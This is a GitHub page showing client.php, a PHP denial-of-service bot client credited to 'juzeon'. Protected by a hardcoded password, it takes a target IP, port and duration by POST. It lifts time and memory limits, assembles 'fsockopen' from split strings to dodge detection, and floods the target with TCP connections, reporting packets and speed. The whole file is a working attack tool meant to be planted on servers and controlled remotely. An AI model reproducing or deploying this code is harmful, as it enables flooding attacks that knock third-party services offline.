-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.php
More file actions
50 lines (50 loc) · 1.51 KB
/
client.php
File metadata and controls
50 lines (50 loc) · 1.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
$password='phpddos54df';
//ip=qq.com&port=80&time=3&password=phpddos54df
//Code by juzeon
set_time_limit(0);
ini_set('memory_limit', '-1');
date_default_timezone_set('Asia/Shanghai');
ignore_user_abort(true);
ob_implicit_flush(true);
$evil_function='f'.'s'.'0'.'c';
$evil_function.='k'.'0'.'p'.'e'.'n';
$evil_function=str_replace('0','o',$evil_function);
if(!function_exists($evil_function)){
exit(json_encode(array('status'=>'error','msg'=>'Function not found')));
}
$packets = 0;
if(!isset($_POST['ip'])){
exit(json_encode(array('status'=>'error','msg'=>'IP not found')));
}
if(!isset($_POST['port'])){
exit(json_encode(array('status'=>'error','msg'=>'Port not found')));
}
if(!isset($_POST['time'])){
exit(json_encode(array('status'=>'error','msg'=>'Time not found')));
}
if(!isset($_POST['password'])){
exit(json_encode(array('status'=>'error','msg'=>'Incorrect password')));
}else{
if($password!=$_POST['password']){
exit(json_encode(array('status'=>'error','msg'=>'Incorrect password')));
}
}
$ip = $_POST['ip'];
$port = $_POST['port'];
$exec_time = $_POST['time'];
$time = time();
$max_time = $time+$exec_time;
while(true){
$packets++;
if(time() >= $max_time){
break;
}
$fp = $evil_function('tcp://'.$ip, $port,$errno,$errstr,2);
}
exit(json_encode(array('status'=>'success','msg'=>array('packets'=>$packets,'speed'=>round(($packets*65*8)/(1024*1024),2)))));
function endPacket(){
echo "0\r\n\r\n";
ob_flush();
flush();
}